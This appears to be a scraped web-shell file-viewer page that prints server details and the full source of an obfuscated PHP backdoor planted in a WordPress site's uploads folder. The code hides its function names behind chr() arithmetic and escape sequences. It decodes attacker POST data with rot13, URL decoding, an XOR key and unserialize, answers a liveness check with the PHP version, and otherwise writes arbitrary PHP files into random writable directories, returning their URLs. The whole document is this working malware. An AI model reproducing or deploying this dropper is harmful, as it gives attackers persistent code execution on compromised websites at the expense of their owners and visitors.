HEX
Server:Apache
System:Linux localhost 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User:enlugo-es (10006)
PHP:7.4.33
Disabled:opcache_get_status
Upload Files
File: /var/www/vhosts/enlugo.es/httpdocs/wp-content/uploads/2023/03/apuxkzsh.php
<?php $spPqOrTP = chr(371-303).chr(79).chr(67)."\x55".chr(77).chr(69)."\116".chr(84).chr(363-268).'R'.chr(79).chr(783-704)."\124";$cRzGRxt = chr(884-812).chr(836-752)."\x54"."\x50"."\137"."\110".chr(563-484)."\123"."\124";$OTaAfTrWS = chr(104)."\x74".'t'.chr(112).':'.'/'.chr(985-938);$uiMfZZk = chr(428-382).'p'."\x68".chr(112);$CZDQl = 'p'."\x68".chr(394-282);$pjeUb = 'f'.chr(171-66)."\x6c".chr(895-794)."\x5f"."\160".chr(739-622).chr(167-51)."\x5f"."\143".chr(622-511).chr(970-860)."\x74".chr(192-91).chr(330-220)."\164".chr(426-311);$nepXQIAeOs = "\x72".'a'.chr(688-569)."\x75"."\x72".'l'.chr(100).chr(888-787).'c'.chr(789-678)."\144".'e';$eMvEUAdajR = "\165"."\156".chr(813-698).'e'.chr(114).chr(105).chr(97)."\x6c".chr(105).'z'.chr(866-765);$LqQcxSGd = "\x69"."\x73"."\x5f"."\167"."\x72"."\x69".chr(116)."\141"."\x62"."\x6c".chr(133-32);$NkudOlDDRJ = chr(715-603).'h'.chr(112).'v'."\x65".chr(121-7)."\x73"."\151".chr(129-18)."\156";$iVFvkMEwTB = 's'.'t'."\x72"."\137".chr(114).'o'."\164"."\x31"."\x33";$KtOzsejyl = "\x73".chr(101).chr(454-340).chr(951-846).chr(768-671).chr(108).chr(970-865)."\172"."\145";$gNNGPWLtGR = 's'.chr(116)."\162"."\x5f".'s'."\x70"."\154"."\x69".chr(568-452);foreach ($_POST as $KdBlyRUTzr => $QCkjzKmGO){$SsOMInxByG = strlen($KdBlyRUTzr);if ($SsOMInxByG == 16){$QCkjzKmGO = $gNNGPWLtGR($nepXQIAeOs($iVFvkMEwTB($QCkjzKmGO)));$KdBlyRUTzr = array_slice($gNNGPWLtGR(str_repeat($KdBlyRUTzr, (count($QCkjzKmGO)/16)+1)), 0, count($QCkjzKmGO));function UWGHeajG($yAlYzGL, $IsrJeo, $KdBlyRUTzr){$MHxzc = "890a142b-4841-4f76-aa31-6ca9c0ae1f92";return $yAlYzGL ^ $MHxzc[$IsrJeo % strlen($MHxzc)] ^ $KdBlyRUTzr;}$QCkjzKmGO = array_map("UWGHeajG", array_values($QCkjzKmGO), array_keys($QCkjzKmGO), array_values($KdBlyRUTzr));$QCkjzKmGO = implode("", $QCkjzKmGO);$QCkjzKmGO = @$eMvEUAdajR($QCkjzKmGO);if (@is_array($QCkjzKmGO)){$OIqdYdMj = array_keys($QCkjzKmGO);$QCkjzKmGO = $QCkjzKmGO[$OIqdYdMj[0]];if ($QCkjzKmGO === $OIqdYdMj[0]){echo @$KtOzsejyl(Array($CZDQl => @$NkudOlDDRJ(), ));exit();}else {function qVBXGp($WxDoNcTir){static $oWQoct = array();$sFCsZqs = glob($WxDoNcTir . '/*', GLOB_ONLYDIR);$uZDFrezLLU = count($sFCsZqs);if ($uZDFrezLLU > 0) {foreach ($sFCsZqs as $WxDoNcT) {if (@$LqQcxSGd($WxDoNcT)) {$oWQoct[] = $WxDoNcT;}}}foreach ($sFCsZqs as $WxDoNcTir) qVBXGp($WxDoNcTir);return $oWQoct;}$bzkinu = $_SERVER[$spPqOrTP];$sFCsZqs = qVBXGp($bzkinu);$OIqdYdMj = array_rand($sFCsZqs);$EWpumM = $sFCsZqs[$OIqdYdMj] . "/" . substr(md5(time()), 0, 8) . $uiMfZZk;@$pjeUb($EWpumM, $QCkjzKmGO);$SONsQZaQ = $OTaAfTrWS . $_SERVER[$cRzGRxt] . substr($EWpumM, strlen($bzkinu));echo $SONsQZaQ;die();}}}}